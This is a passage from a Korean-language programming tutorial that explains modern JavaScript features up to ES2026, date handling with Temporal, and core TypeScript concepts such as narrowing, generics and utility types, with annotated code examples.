// 사용하는 쪽은 페이지를 전혀 신경 쓰지 않습니다
for await (const user of fetchAllUsers()) {
await processUser(user);
}
// ★ 100만 건이어도 메모리에는 한 페이지분만 올라갑니다
// 큰 파일을 한 줄씩 (Node)
import { createReadStream } from "node:fs";
import { createInterface } from "node:readline";
const rl = createInterface({
input: createReadStream("huge.csv"),
crlfDelay: Infinity,
});
let count = 0;
for await (const line of rl) { // ★ 스트림도 비동기 이터러블
if (line.includes("ERROR")) count++;
}
// 10GB 파일도 메모리 몇 MB 로 처리됩니다
최신 문법 ES2020~2026
모르면 남의 코드가 안 읽히고, 알면 내 코드가 절반으로 줄어듭니다.
매일 쓰는 것
// 옵셔널 체이닝 — 중간이 없으면 undefined (ES2020)
user?.address?.city
user?.getName?.() // 메서드가 있을 때만 호출
list?.[0]
// 널 병합 — null/undefined 일 때만 기본값 (ES2020)
const port = env.PORT ?? 3000; // 0 도 유효한 값으로 취급 ✅
const bad = env.PORT || 3000; // 0 이면 3000 이 됨 ❌
// 논리 할당 (ES2021)
options.retry ??= 3; // 없을 때만 설정
cache[key] ??= expensive(); // 없으면 계산해서 저장
isReady &&= checkAgain();
// 숫자 구분자 (ES2021)
const MAX = 1_000_000;
// 문자열 전체 치환 (ES2021)
"a-b-c".replaceAll("-", "/"); // "a/b/c"
// at() — 음수 인덱스 (ES2022)
arr.at(-1); // 마지막 요소
"hello".at(-1); // "o"
// Object.hasOwn (ES2022) — hasOwnProperty 의 안전한 대체
Object.hasOwn(obj, "key");
// 클래스 private 필드 · static 블록 (ES2022)
class A { #secret = 1; static { /* 초기화 */ } }
// Error cause (ES2022)
throw new Error("실패", { cause: originalError });
최근에 추가된 것
// 원본을 안 바꾸는 배열 메서드 (ES2023)
arr.toSorted((a,b) => a-b);
arr.toReversed();
arr.with(0, "새값");
arr.findLast(x => x > 10);
arr.findLastIndex(...);
// 그룹으로 묶기 (ES2024)
Object.groupBy(users, u => u.role);
// { admin: [...], user: [...] }
Map.groupBy(users, u => u.teamId); // Map 으로 받고 싶을 때
// Promise.withResolvers (ES2024) — 밖에서 resolve 하고 싶을 때
const { promise, resolve, reject } = Promise.withResolvers();
socket.on("reply", resolve);
await promise;
// 정규식 v 플래그 (ES2024) — 유니코드 집합 연산
/[\p{Script=Hangul}--[ㄱ-ㅎ]]/v
ES2025 2025-06
// Set 연산 — 직접 짜던 교집합·차집합이 메서드가 됐습니다
const a = new Set([1,2,3]), b = new Set([2,3,4]);
a.union(b); // Set {1,2,3,4}
a.intersection(b); // Set {2,3}
a.difference(b); // Set {1}
a.symmetricDifference(b); // Set {1,4}
a.isSubsetOf(b); a.isSupersetOf(b); a.isDisjointFrom(b);
// Promise.try — 동기 함수든 비동기 함수든 "같은 방식으로" 감쌉니다
await Promise.try(maybeAsync) // 동기 throw 도 reject 로 받습니다
.then(ok).catch(fail);
// 이터레이터 헬퍼 — 배열로 안 만들고 바로 체이닝 (지연 평가 · 무한열 가능)
function* nat() { let i = 0; while (true) yield i++; }
nat().filter(n => n % 3 === 0).map(n => n * n).take(5).toArray();
// [0, 9, 36, 81, 144] ★ 중간 배열이 안 생깁니다
// RegExp.escape — 사용자 입력을 정규식에 안전하게 넣기
new RegExp(RegExp.escape(userInput), "g"); // 최신 브라우저 · Node 24+ 지원
ES2026 2026-06 확정
// Error.isError — instanceof 보다 안전 (다른 realm·프레임에서도 맞음)
if (Error.isError(e)) console.error(e.stack);
// Array.fromAsync — 비동기 이터러블을 배열로
const lines = await Array.fromAsync(readLines(file));
// Math.sumPrecise — 부동소수 오차 없이 합산
[0.1, 0.2, 0.3].reduce((s,n) => s+n, 0); // 0.6000000000000001
Math.sumPrecise([0.1, 0.2, 0.3]); // 0.6 ★
// Uint8Array ↔ Base64 / Hex — btoa 트릭이 필요 없어졌습니다
const bytes = new Uint8Array([72, 105]);
bytes.toBase64(); // "SGk="
Uint8Array.fromBase64("SGk="); // Uint8Array [72, 105]
bytes.toHex(); // "4869"
// Map.getOrInsertComputed — "없으면 만들어 넣고 반환" 보일러플레이트 제거
const cache = new Map();
cache.getOrInsertComputed(userId, (id) => buildProfile(id));
// Iterator.concat — 이터레이터 여러 개를 하나로 잇기
Iterator.concat(a.values(), b.values()).take(10).toArray();
using · await using — 자동 정리 Stage 4
// 블록을 벗어나면 [Symbol.dispose]() 가 "선언의 역순"으로 자동 호출됩니다
// → try/finally 가 통째로 사라집니다 (Node 24+ · Chrome 134+)
{
using file = openFile("a.txt"); // 나갈 때 file[Symbol.dispose]()
using lock = acquireLock(); // 나갈 때 lock[Symbol.dispose]() ★ 먼저
work(file);
} // 여기서 lock → file 순으로 정리 (역순)
// 비동기 정리는 await using — [Symbol.asyncDispose]() 를 기다립니다
await using conn = await pool.connect();
await conn.query("SELECT 1");
// 블록을 벗어나면 await conn[Symbol.asyncDispose]()
// 내 객체도 참여시키기 — 심볼 하나만 구현하면 됩니다
class Tx {
constructor(db) { this.db = db; }
static async open(db) { await db.query("BEGIN"); return new Tx(db); }
async commit() { await this.db.query("COMMIT"); this.done = true; }
async [Symbol.asyncDispose]() {
if (!this.done) await this.db.query("ROLLBACK"); // ★ 깜빡해도 롤백
}
}
await using tx = await Tx.open(db);
await db.query("UPDATE ...");
await tx.commit(); // commit 안 하고 예외로 빠져나가도 롤백됩니다
브라우저·Node 공통 내장 API
structuredClone(obj); // 깊은 복사
crypto.randomUUID(); // "a1b2c3d4-..."
AbortSignal.timeout(3000); // 타임아웃 시그널
Intl.NumberFormat("ko-KR", { style:"currency", currency:"KRW" })
.format(15000); // "₩15,000"
new Intl.RelativeTimeFormat("ko").format(-3, "day"); // "3일 전"
navigator.language; // "ko-KR" — 사용자 언어
Intl.DateTimeFormat().resolvedOptions().timeZone; // "Asia/Seoul" — 시간대
정규식 · 문자열 · 날짜
업무에서 가장 자주 만나고, 가장 자주 틀리는 세 가지입니다.
문자열 실전
const s = " 김현우, 백엔드 개발자 ";
s.trim(); // 양끝 공백 (trimStart/trimEnd 도 있음)
s.includes("백엔드"); // true
s.split(",").map(x => x.trim());
"abc".padStart(5, "0"); // "00abc" ← 주문번호·시간 표시에
"5".padStart(2, "0"); // "05"
"ab".repeat(3); // "ababab"
// 템플릿 리터럴 — 여러 줄 + 값 삽입
const html = `
<div class="${cls}">
${items.map(i => `<li>${i}</li>`).join("")}
</div>`;
// 한글 정렬 (localeCompare 를 꼭 쓰세요)
names.toSorted((a, b) => a.localeCompare(b, "ko"));
// 이모지·한글 글자 수 세기 (length 는 부정확)
"👨👩👧".length; // 8 ❌
[...new Intl.Segmenter().segment("👨👩👧")].length; // 1 ✅
정규식 — 실무에서 쓰는 것만
// 그룹에 이름 붙이기 (읽기 쉬워집니다)
const m = "2026-08-04".match(
/(?<year>\d{4})-(?<month>\d{2})-(?<day>\d{2})/);
m.groups.year; // "2026"
// 전부 찾기
[..."a1b2c3".matchAll(/\d/g)].map(m => m[0]); // ["1","2","3"]
// 치환에서 함수 쓰기
"가격 1000원".replace(/\d+/g, n => Number(n).toLocaleString());
// 자주 쓰는 패턴
const RE = {
email: /^[^\s@]+@[^\s@]+\.[^\s@]+$/,
phone: /^01[0-9]-?\d{3,4}-?\d{4}$/,
hangul: /[가-힣]/,
onlyNum: /[^0-9]/g, // 숫자만 남기기용
};
날짜 — 자바스크립트의 아픈 곳
const d = new Date();
d.getMonth(); // ★ 0부터 시작 (8월이면 7)
d.getDay(); // 요일 (0=일요일)
d.getFullYear();
// 문자열 파싱은 형식에 따라 결과가 다릅니다
new Date("2026-08-04"); // UTC 자정으로 해석 ★
new Date("2026/08/04"); // 로컬 자정으로 해석
// → 한국에서 앞의 것은 8월 4일 오전 9시가 됩니다
// 포맷 — Intl 이면 라이브러리가 필요 없습니다
new Intl.DateTimeFormat("ko-KR", {
dateStyle: "long", timeStyle: "short", timeZone: "Asia/Seoul",
}).format(d); // "2026년 8월 4일 오후 3:20"
// ISO 문자열 (서버 전송용 — 항상 이걸로 주고받으세요)
d.toISOString(); // "2026-08-04T06:20:00.000Z"
DATETIME 대신 TIMESTAMP(시간대 포함) 을 쓰고,
API 는 ISO 8601 문자열로 주고받으세요.
라이브러리가 필요할 때
| 선택 | 설명 |
|---|---|
| Intl 내장 | 포맷만 필요하면 이걸로 충분합니다 |
| date-fns | 함수 단위로 import — 번들이 작습니다. 계산이 많다면 이쪽 |
| dayjs | moment 와 API 가 같고 2KB. 마이그레이션에 유리 |
| Temporal | 표준으로 들어온 차세대 날짜 API(Stage 4, 2026-03). Node 26 은 전역으로 내장, Chrome 144·Firefox 139 지원. Safari 는 아직 미탑재라 브라우저에서는 폴리필이 필요합니다 |
| ❌ moment | 유지보수 종료(legacy). 신규 도입 금지 |
Temporal — Date 의 아픈 곳을 전부 고친 API
// 브라우저에서는 아직 폴리필이 필요합니다 (Safari 미탑재)
// npm i temporal-polyfill → import { Temporal } from "temporal-polyfill";
// Node 26 은 전역에 그대로 있습니다.
// ① 불변 — 모든 연산이 "새 값"을 돌려줍니다 (Date 는 setMonth 로 원본이 바뀝니다)
const d = Temporal.PlainDate.from("2026-08-04");
const next = d.add({ months: 1 }); // 2026-09-04
d.toString(); // 2026-08-04 ★ 원본 그대로
// ② 월이 1부터 시작합니다 (Date 의 getMonth() 0-based 함정이 없습니다)
d.month; // 8 ← Date 였다면 7
d.dayOfWeek; // 2 = 화요일 (1 = 월요일)
// ③ 종류가 나뉘어 있어 "무엇을 뜻하는 값인지"가 타입에 드러납니다
Temporal.PlainDate // 날짜만 — 생일·기념일
Temporal.PlainTime // 시각만 — 영업 시작 09:00
Temporal.PlainDateTime // 날짜+시각, 시간대 없음
Temporal.ZonedDateTime // 시간대까지 — "서울의 8월 4일 15시"
Temporal.Instant // 절대 시각(UTC) — ★ 서버·DB 저장은 이것
Temporal.Duration // 기간 — 3일 4시간
// ④ 서버에 저장할 때는 Instant(UTC), 화면에 그릴 때만 시간대를 입힙니다
const now = Temporal.Now.instant(); // 절대 시각
now.toString(); // "2026-08-04T06:20:00Z" → DB 로
now.toZonedDateTimeISO("Asia/Seoul").toString();// 화면용
// ⑤ 시간대 계산이 정확합니다 (DST 를 건너뛰지 않습니다)
const z = Temporal.ZonedDateTime.from("2026-08-04T23:00[America/New_York]");
z.add({ hours: 3 }).toString();
// ⑥ 비교·차이
Temporal.PlainDate.compare(a, b); // -1 / 0 / 1
a.until(b, { largestUnit: "day" }); // Duration
치트시트 · 로드맵
막힐 때 여기부터 보세요. 그리고 다음에 뭘 배울지도 정리했습니다.
한 장 요약 — 자주 찾는 것
| 하려는 일 | 코드 |
|---|---|
| 기본값 (0·"" 은 유지) | a ?? b |
| 깊은 복사 | structuredClone(o) |
| 중복 제거 | [...new Set(arr)] |
| 객체 → 배열 | Object.entries(o) |
| 배열 → 객체 | Object.fromEntries(a) |
| 그룹핑 | Object.groupBy(a, fn) |
| 정렬 (원본 유지) | arr.toSorted(fn) |
| 한글 정렬 | a.localeCompare(b,"ko") |
| 마지막 요소 | arr.at(-1) |
| 동시 실행 | await Promise.all([...]) |
| 실패해도 전부 대기 | Promise.allSettled([...]) |
| 타임아웃 | AbortSignal.timeout(3000) |
| UUID | crypto.randomUUID() |
| 금액 표시 | n.toLocaleString("ko-KR") |
| 지연 | await new Promise(r=>setTimeout(r,ms)) |
·
console.table(arr) — 객체 배열을 표로·
console.time("x") / timeEnd("x") — 걸린 시간·
debugger; — 그 줄에서 멈춤 (DevTools 가 열려 있을 때)
학습 순서 — 이 가이드를 도는 법
실행하기 전에
틀린 곳을
알려 주는 JS
TypeScript 는 새 언어가 아니라 자바스크립트에 타입을 얹은 것입니다. 빌드하면 타입은 전부 사라지고 순수 JS 만 남습니다. 그래서 런타임 검증은 여전히 필요하고, 그 경계를 아는 것이 실무 실력입니다. 여기까지 마치면 strict 를 켠 팀 코드베이스에서 타입을 설계하고 리뷰할 수 있는 수준이 됩니다.
왜 TypeScript 인가
“타입을 적는 귀찮음”보다 얻는 것이 훨씬 큰 지점이 분명히 있습니다.
실제로 막아 주는 버그
JS — 런타임에 터짐
function total(order) {
return order.items
.reduce((s,i) => s + i.price, 0);
}
total({ item: [] });
// TypeError: Cannot read
// properties of undefined
// ★ 배포 후 사용자가 발견
TS — 저장하는 순간 빨간 줄
type Order = {
items: { price: number }[];
};
function total(order: Order) {
return order.items
.reduce((s,i) => s + i.price, 0);
}
total({ item: [] });
// ★ 'item' 은 'items' 여야 합니다
타입이 주는 실질적 이득
- 자동완성 — 객체에 뭐가 들었는지 외울 필요가 없습니다. 실무에서 이게 제일 큽니다
- 안전한 리팩터링 — 필드 이름을 바꾸면 고쳐야 할 곳이 전부 빨갛게 뜹니다
- 문서 역할 — 함수 시그니처만 봐도 무엇을 넣고 무엇이 나오는지 압니다
- 팀 확장 — 새 사람이 코드를 읽는 속도가 확연히 다릅니다
JSON.parse 결과,
any 로 뚫린 곳, 잘못된 타입 단언(as).
바깥에서 들어오는 값은 런타임에 검증해야 합니다(t11 · 🧰 도구 o07 Zod).
시작하기
npm i -D typescript @types/node
npx tsc --init # tsconfig.json 생성
# 빌드
npx tsc # dist/ 로 컴파일
npx tsc --noEmit # ★ 타입 검사만 (CI 에서 쓰는 형태)
# 개발 중 바로 실행
npx tsx src/index.ts # tsx — 가장 편함
# TypeScript 를 그대로 실행 (Node 24+ 기본 · Node 26 에서 정식)
node src/index.ts
# · 타입 "지우기"만 합니다 — 타입 검사는 tsc --noEmit 로 따로
# · enum · 구 데코레이터 · namespace 같은 "코드를 만들어 내는" 문법은 안 됩니다
# → tsconfig 에 "erasableSyntaxOnly": true 를 켜 두면 미리 막아 줍니다
// tsconfig.json — 처음엔 이 정도면 충분합니다
{
"compilerOptions": {
"target": "ES2022",
"module": "NodeNext",
"moduleResolution": "NodeNext",
"strict": true, // ★ TS 7 부터는 기본값입니다
"skipLibCheck": true, // 라이브러리 타입은 검사 생략 (빌드 속도)
"types": ["node"], // ★ TS 7 기본값이 [] — 필요한 것만 적습니다
"outDir": "dist",
"rootDir": "src", // ★ TS 7 기본값이 "./" — src 라면 꼭 적으세요
"erasableSyntaxOnly": true, // node src/index.ts 로 돌릴 거라면
"paths": { "@/*": ["./src/*"] } // ★ tsconfig 위치 기준 상대경로 (baseUrl 없음)
},
"include": ["src/**/*"]
}
baseUrl · target: "es5" · downlevelIteration ·
moduleResolution: node/node10/classic/amd ·
module: amd/umd/systemjs · esModuleInterop: false.
baseUrl 을 지우고 paths 를
tsconfig 파일 위치 기준 상대경로로 바꾸는 것이 가장 흔한 작업입니다.
반대로 experimentalDecorators·emitDecoratorMetadata 는
계속 지원됩니다(Nest·TypeORM 에 필수) — 다만
데코레이터는 코드를 만들어 내는 문법이라
erasableSyntaxOnly 와 같이 쓸 수 없습니다.
allowJs: true 로 켜 두고 파일 하나씩 .ts 로 바꾸세요.
전부 한 번에 바꾸려다 실패하는 팀이 많습니다.
급하면 JSDoc 주석만으로도 타입 검사를 받을 수 있습니다(checkJs).
typescript-eslint · ts-jest · ts-morph,
그리고 Vue·Svelte·Astro 의 템플릿 타입 검사기 — 가
tsgo 위에서 돌지 않습니다.
이 도구를 쓰고 있다면 tsc(6.x)를 병행하거나 7.1 을 기다리세요.
기본 타입 · 추론
타입은 웬만하면 안 적는 게 좋습니다. TS 가 알아서 알아냅니다.
타입 표기
// 기본
let name: string = "김현우";
let age: number = 30;
let ok: boolean = true;
let big: bigint = 10n;
let sym: symbol = Symbol();
// 배열 · 튜플
let tags: string[] = ["a", "b"];
let pair: [number, string] = [1, "a"]; // 길이·순서 고정
let named: [x: number, y: number] = [1, 2]; // 이름 붙은 튜플
// 객체
let user: { id: number; name?: string } = { id: 1 }; // ? = 선택
// 함수
const add = (a: number, b: number): number => a + b;
const log = (msg: string): void => console.log(msg);
// 특수 타입
let anything: any; // ❌ 타입 검사 포기 — 쓰지 마세요
let safe: unknown; // ✅ 확인 후에만 쓸 수 있음
function fail(): never { throw new Error(); } // 절대 반환 안 함
any 는 전염됩니다.
하나가 any 면 그것을 쓰는 코드가 전부 검사에서 빠집니다.
타입을 모를 때는 unknown 을 쓰고 확인 후 사용하세요.
noImplicitAny(strict 에 포함)를 켜 두면 실수로 생기는 any 를 막아 줍니다.
추론 — 적지 않아도 되는 곳
// ❌ 불필요한 표기 (오히려 읽기 나쁨)
const name: string = "김현우";
const nums: number[] = [1, 2, 3];
const user: { id: number } = { id: 1 };
// ✅ 추론에 맡기기
const name = "김현우"; // "김현우" (리터럴 타입!)
const nums = [1, 2, 3]; // number[]
const user = { id: 1 }; // { id: number }
// ★ 타입을 꼭 적어야 하는 곳은 두 군데뿐입니다
function f(a: number) { } // ① 함수 매개변수
let result: string | null = null; // ② 나중에 채울 변수
const 와 리터럴 타입
let a = "hello"; // string (재할당 가능하므로 넓게)
const b = "hello"; // "hello" ★ 리터럴 타입으로 좁게
// 객체는 안쪽까지 좁혀지지 않습니다
const conf = { mode: "dark" }; // { mode: string }
const conf2 = { mode: "dark" } as const; // { readonly mode: "dark" } ✅
// as const 의 진짜 쓸모 — 상수에서 타입 만들기
const ROLES = ["admin", "user", "guest"] as const;
type Role = typeof ROLES[number]; // "admin" | "user" | "guest"
// ★ 배열만 고치면 타입이 따라옵니다 (t08 에서 더)
// satisfies — 타입 검사는 받되 좁은 추론은 유지 (TS 4.9+)
const config = {
port: 3000,
host: "localhost",
} satisfies Record<string, string | number>;
config.port.toFixed(); // ✅ number 로 정확히 추론됨
satisfies 는 “검사는 받고 싶지만 타입은 넓히기 싫을 때” 씁니다.
: Type 으로 적으면 타입이 넓어지고,
아무것도 안 적으면 검사를 못 받습니다. 그 사이를 메워 주는 문법입니다.
interface vs type
면접 단골 질문이지만, 실무에서는 큰 차이가 없습니다. 기준만 정하면 됩니다.
차이점 정리
| 항목 | interface / type |
|---|---|
| 객체 모양 | 둘 다 가능 |
| 유니온 · 튜플 | type 만 가능 |
| 선언 병합 | interface 만 — 같은 이름을 여러 번 선언하면 합쳐짐 |
| 확장 | extends / & (교차 타입) |
| 계산된 타입 | type 만 — 조건부·매핑드 타입 |
| 에러 메시지 | interface 쪽이 조금 더 읽기 쉽습니다 |
// interface — 확장 가능하고 선언 병합됨
interface User { id: number; name: string; }
interface User { email: string; } // ★ 자동으로 합쳐짐
interface Admin extends User { level: number; }
// type — 무엇이든 이름 붙일 수 있음
type ID = string | number; // 유니온
type Point = [number, number]; // 튜플
type Handler = (e: Event) => void; // 함수
type Admin2 = User & { level: number }; // 교차
type Keys = keyof User; // 계산된 타입
실무에서 자주 쓰는 형태
// 인덱스 시그니처 — 키를 미리 모를 때
type Dict = { [key: string]: number };
type Dict2 = Record<string, number>; // 같은 뜻, 이쪽이 읽기 좋음
// 읽기 전용
type ReadonlyUser = {
readonly id: number;
readonly tags: readonly string[]; // 배열도 따로 표시
};
// 함수 속성이 있는 객체 (콜러블)
type Logger = {
(msg: string): void; // 함수로도 호출 가능
level: "info" | "error"; // 속성도 있음
};
// 생성자 타입 (DI 컨테이너 만들 때)
type Ctor<T> = new (...args: any[]) => T;
// 중첩 객체
interface ApiResponse<T> {
data: T;
meta: { page: number; total: number };
error?: { code: string; message: string };
}
교차 타입의 함정
type A = { x: string };
type B = { x: number };
type C = A & B; // x: string & number = never (만들 수 없는 타입)
const c: C = { x: ??? }; // ★ 어떤 값도 넣을 수 없습니다
// interface extends 였다면 에러로 즉시 알려 줍니다
interface D extends A { x: number } // ❌ 컴파일 에러 ✅ 더 안전
never 가 되어 런타임이 아니라 나중에 이상한 에러로 나타납니다.
확장 관계가 명확한 곳에서는 interface extends 쪽이 사고를 빨리 잡아 줍니다.
유니온 · 내로잉
TypeScript 를 제대로 쓰기 시작하는 지점입니다. 여기가 핵심입니다.
타입 좁히기 — TS 는 흐름을 읽습니다
function format(value: string | number | Date | null) {
if (value === null) return "-";
// 여기부터 value: string | number | Date
if (typeof value === "string") return value.trim(); // string
if (typeof value === "number") return value.toFixed(2); // number
return value.toISOString(); // Date ★ 자동 추론
}
// 좁히는 방법들
typeof x === "string" // 원시 타입
x instanceof Date // 클래스
"name" in obj // 속성 존재
Array.isArray(x) // 배열
x === null / x != null // null 체크
x.kind === "circle" // ★ 판별 유니온 (아래)
판별 유니온 — 실무에서 가장 강력한 패턴
type Result<T> =
| { status: "loading" }
| { status: "success"; data: T }
| { status: "error"; error: Error };
function render(res: Result<User>) {
switch (res.status) {
case "loading": return "불러오는 중…";
case "success": return res.data.name; // ★ data 가 여기서만 존재
case "error": return res.error.message;
}
}
// ★ 이 패턴의 진짜 가치:
// "로딩 중인데 data 를 읽는" 버그가 컴파일 단계에서 막힙니다.
// isLoading·data·error 를 각각 boolean 으로 두는 설계보다 훨씬 안전합니다.
빠짐없이 처리했는지 검사하기
type Shape =
| { kind: "circle"; r: number }
| { kind: "rect"; w: number; h: number }
| { kind: "tri"; b: number; h: number };
function area(s: Shape): number {
switch (s.kind) {
case "circle": return Math.PI * s.r ** 2;
case "rect": return s.w * s.h;
case "tri": return (s.b * s.h) / 2;
default: {
// ★ 모든 경우를 처리했다면 s 는 never 가 됩니다
const _exhaustive: never = s;
throw new Error(`알 수 없는 도형: ${JSON.stringify(s)}`);
}
}
}
// Shape 에 새 종류를 추가하면 → 이 줄에서 컴파일 에러
// "처리를 빼먹었다"를 배포 전에 알 수 있습니다 ★
never 트릭은 실무에서 정말 자주 씁니다.
결제 수단·주문 상태·알림 종류처럼 종류가 늘어나는 것에 걸어 두면,
새 종류를 추가할 때 고쳐야 할 곳을 컴파일러가 전부 찾아 줍니다.
좁히기가 풀리는 순간 — 함정
function f(user: { name?: string }) {
if (user.name) {
// 여기서는 string
doSomething(); // 이 함수가 name 을 지워도 TS 는 모른 척합니다 (낙관적)
user.name.trim(); // ✅ 통과 — 바로 쓰는 건 좁히기가 유지됩니다
setTimeout(() => user.name.trim(), 100);
// ❌ 'user.name' is possibly 'undefined'
// ★ 콜백 안에서는 좁히기가 풀립니다 (나중에 실행되니까)
}
}
// ✅ 지역 변수로 뽑아 두면 안전합니다
const name = user.name;
if (name) {
setTimeout(() => name.trim(), 100); // ✅ 클로저 안에서도 유지
}
함수 타입 · 오버로드
함수의 입력과 출력만 잘 타이핑해도 절반은 끝납니다.
기본형
// 매개변수 · 반환
function add(a: number, b: number): number { return a + b; }
// 선택 · 기본값 · 나머지
function greet(name: string, title?: string, ...rest: string[]) { }
// 함수 타입을 이름 붙여 재사용
type Middleware = (req: Request, res: Response, next: () => void) => void;
const auth: Middleware = (req, res, next) => { next(); };
// ★ 이렇게 하면 매개변수 타입을 다시 안 적어도 됩니다 (문맥 추론)
// 콜백 타입
function retry<T>(fn: () => Promise<T>, times: number): Promise<T> { ... }
// this 타입 명시 (첫 매개변수 자리, 실제 인자는 아님)
function handler(this: HTMLButtonElement, e: MouseEvent) {
this.disabled = true;
}
반환 타입은 적을까 말까
// 내부 함수 — 추론에 맡기세요
const double = (n: number) => n * 2;
// ★ 공개 API·라이브러리는 명시하세요
export function getUser(id: number): Promise<User> { ... }
// 이유: 구현을 고쳤을 때 "반환 타입이 조용히 바뀌는 것"을 막습니다
void 와 undefined 는 다릅니다.
() => void 타입 자리에는 무엇을 반환하는 함수든 넣을 수 있습니다
(반환값을 무시하겠다는 뜻). 그래서
arr.forEach(x => list.push(x)) 가 에러가 아닌 것입니다.
오버로드 — 입력에 따라 출력이 다를 때
// 선언 (호출부에서 보이는 시그니처)
function parse(input: string): object;
function parse(input: string, raw: true): string;
// 구현 (밖에서는 안 보임)
function parse(input: string, raw?: boolean): object | string {
return raw ? input : JSON.parse(input);
}
parse("{}"); // object
parse("{}", true); // string ★ 정확히 좁혀짐
// ★ 대부분은 오버로드보다 제네릭·유니온이 낫습니다
// 오버로드 (장황함)
function first(a: string[]): string;
function first(a: number[]): number;
// 제네릭 (한 줄)
function first<T>(a: T[]): T | undefined { return a[0]; }
// 조건부 반환이 필요하면 (t09)
function get<T extends boolean>(raw: T): T extends true ? string : object;
실무 패턴 — 함수 시그니처로 API 설계하기
// 옵션 객체 — 인자가 3개를 넘으면 이렇게 바꾸세요
type FetchOptions = {
method?: "GET" | "POST" | "PUT" | "DELETE";
headers?: Record<string, string>;
timeout?: number;
retry?: number;
};
async function request<T>(url: string, opts: FetchOptions = {}): Promise<T> { ... }
// 호출부가 읽기 좋아집니다
await request<User>("/api/users/1", { timeout: 3000, retry: 2 });
save(data, true, false, true) 는 읽을 수 없는 코드입니다.
옵션 객체로 바꾸면 이름이 곧 설명이 되고, 나중에 옵션을 추가하기도 쉽습니다.
제네릭
“쓸 때 정해지는 타입”. 같은 코드를 타입만 바꿔 재사용하기 위한 문법입니다.
왜 필요한가
// ❌ any — 타입 정보가 사라집니다
function firstAny(arr: any[]): any { return arr[0]; }
const a = firstAny(["x"]); // any — 자동완성 없음, 오타 못 잡음
// ✅ 제네릭 — 넣은 타입이 그대로 나옵니다
function first<T>(arr: T[]): T | undefined { return arr[0]; }
const b = first(["x"]); // string ★
const c = first([1, 2]); // number
// 여러 개도 가능
function pair<K, V>(k: K, v: V): [K, V] { return [k, v]; }
// 제약 — "이런 성질은 있어야 한다"
function longest<T extends { length: number }>(a: T, b: T): T {
return a.length >= b.length ? a : b;
}
longest("abc", "de"); // ✅ string 에는 length 가 있음
longest([1,2], [3]); // ✅ 배열도
longest(1, 2); // ❌ number 에는 length 가 없음
기본값과 키 제약
// 기본 타입 인자
type ApiResult<T = unknown> = { data: T; ok: boolean };
// 키를 제약 — 실무에서 매우 자주 쓰는 형태
function pick<T, K extends keyof T>(obj: T, keys: K[]): Pick<T, K> {
const out = {} as Pick<T, K>;
for (const k of keys) out[k] = obj[k];
return out;
}
const user = { id: 1, name: "김", pw: "secret" };
pick(user, ["id", "name"]); // { id: number; name: string } ★
pick(user, ["nope"]); // ❌ 없는 키는 컴파일 에러
실무에서 만나는 제네릭
// ① API 클라이언트
async function api<T>(path: string): Promise<T> {
const res = await fetch(path);
if (!res.ok) throw new Error(`HTTP ${res.status}`);
return res.json() as Promise<T>;
}
const user = await api<User>("/api/users/1"); // user: User
// ② 저장소 인터페이스 (Nest·계층 설계에서 그대로 씁니다)
interface Repository<T, ID = number> {
findById(id: ID): Promise<T | null>;
findAll(): Promise<T[]>;
save(entity: T): Promise<T>;
delete(id: ID): Promise<void>;
}
class UserRepository implements Repository<User> { ... }
// ③ 이벤트 맵 — 타입 안전한 이벤트 버스
type Events = {
"order.created": { orderId: string; amount: number };
"user.login": { userId: number };
};
function emit<K extends keyof Events>(name: K, payload: Events[K]) { ... }
emit("order.created", { orderId: "A1", amount: 1000 }); // ✅
emit("order.created", { userId: 1 }); // ❌ 잡힘 ★
function f<T>(x: T): void 는 그냥 unknown 이면 됩니다.
“들어온 타입이 나가는 타입에 영향을 줄 때”만 제네릭입니다.
T(Type) · K(Key) · V(Value) ·
E(Element) · R(Return) 이 관례지만,
의미가 있으면 <TUser, TOrder> 처럼 이름을 붙이는 편이 읽기 좋습니다.
유틸리티 타입 총정리
이미 있는 타입을 조금씩 바꿔 쓰는 내장 도구들. 실무 사용 빈도 최상위입니다.
객체 다루기
| 유틸리티 | 하는 일 |
|---|---|
Partial<T> | 모든 속성을 선택으로 — 수정 API 의 body |
Required<T> | 모든 속성을 필수로 |
Readonly<T> | 모든 속성을 읽기 전용으로 |
Pick<T, K> | 지정한 키만 골라내기 |
Omit<T, K> | 지정한 키만 빼기 — 비밀번호 제외 등 |
Record<K, V> | 키-값 사전 만들기 |
interface User {
id: number; name: string; email: string;
password: string; createdAt: Date;
}
// 응답에서 비밀번호 빼기 — ★ 실무 최다 사용
type UserResponse = Omit<User, "password">;
// 생성 요청 — 서버가 만드는 필드 제외
type CreateUser = Omit<User, "id" | "createdAt">;
// 수정 요청 — 일부만 보낼 수 있게
type UpdateUser = Partial<CreateUser>;
// 목록용 — 필요한 것만
type UserSummary = Pick<User, "id" | "name">;
// 상태별 색상 사전
type Status = "active" | "inactive" | "banned";
const COLOR: Record<Status, string> = {
active: "green", inactive: "gray", banned: "red",
}; // ★ 상태를 추가하면 여기서 컴파일 에러가 납니다
유니온 · 함수 다루기
| 유틸리티 | 하는 일 |
|---|---|
Exclude<T, U> | 유니온에서 빼기 |
Extract<T, U> | 유니온에서 고르기 |
NonNullable<T> | null·undefined 제거 |
ReturnType<F> | 함수의 반환 타입 |
Parameters<F> | 함수의 매개변수 튜플 |
Awaited<P> | Promise 를 벗긴 타입 |
InstanceType<C> | 클래스의 인스턴스 타입 |
type Status = "loading" | "success" | "error";
type Done = Exclude<Status, "loading">; // "success" | "error"
// ★ 함수에서 타입을 역으로 뽑아내기 — 매우 실용적
function createUser(name: string, age: number) {
return { id: 1, name, age, createdAt: new Date() };
}
type User = ReturnType<typeof createUser>; // 반환 객체 타입
type Args = Parameters<typeof createUser>; // [string, number]
// async 함수라면 Awaited 로 벗기기
async function fetchUser() { return { id: 1, name: "김" }; }
type FetchedUser = Awaited<ReturnType<typeof fetchUser>>;
// 실무: Prisma·zod 처럼 "값에서 타입이 나오는" 라이브러리와 궁합이 좋습니다
const userSchema = z.object({ name: z.string(), age: z.number() });
type UserInput = z.infer<typeof userSchema>; // ★ 스키마 하나로 타입까지
keyof · typeof · 인덱스드 액세스
값에서 타입을 뽑아내는 세 가지 도구. 타입 중복을 없애는 열쇠입니다.
세 가지 연산자
interface User { id: number; name: string; tags: string[]; }
// ① keyof — 키들의 유니온
type UserKey = keyof User; // "id" | "name" | "tags"
// ② typeof — 값에서 타입 얻기 (타입 자리에서 씀)
const defaults = { retry: 3, timeout: 5000 };
type Config = typeof defaults; // { retry: number; timeout: number }
// ③ 인덱스드 액세스 — 속성의 타입 꺼내기
type Name = User["name"]; // string
type Tag = User["tags"][number]; // string ★ 배열 요소 타입
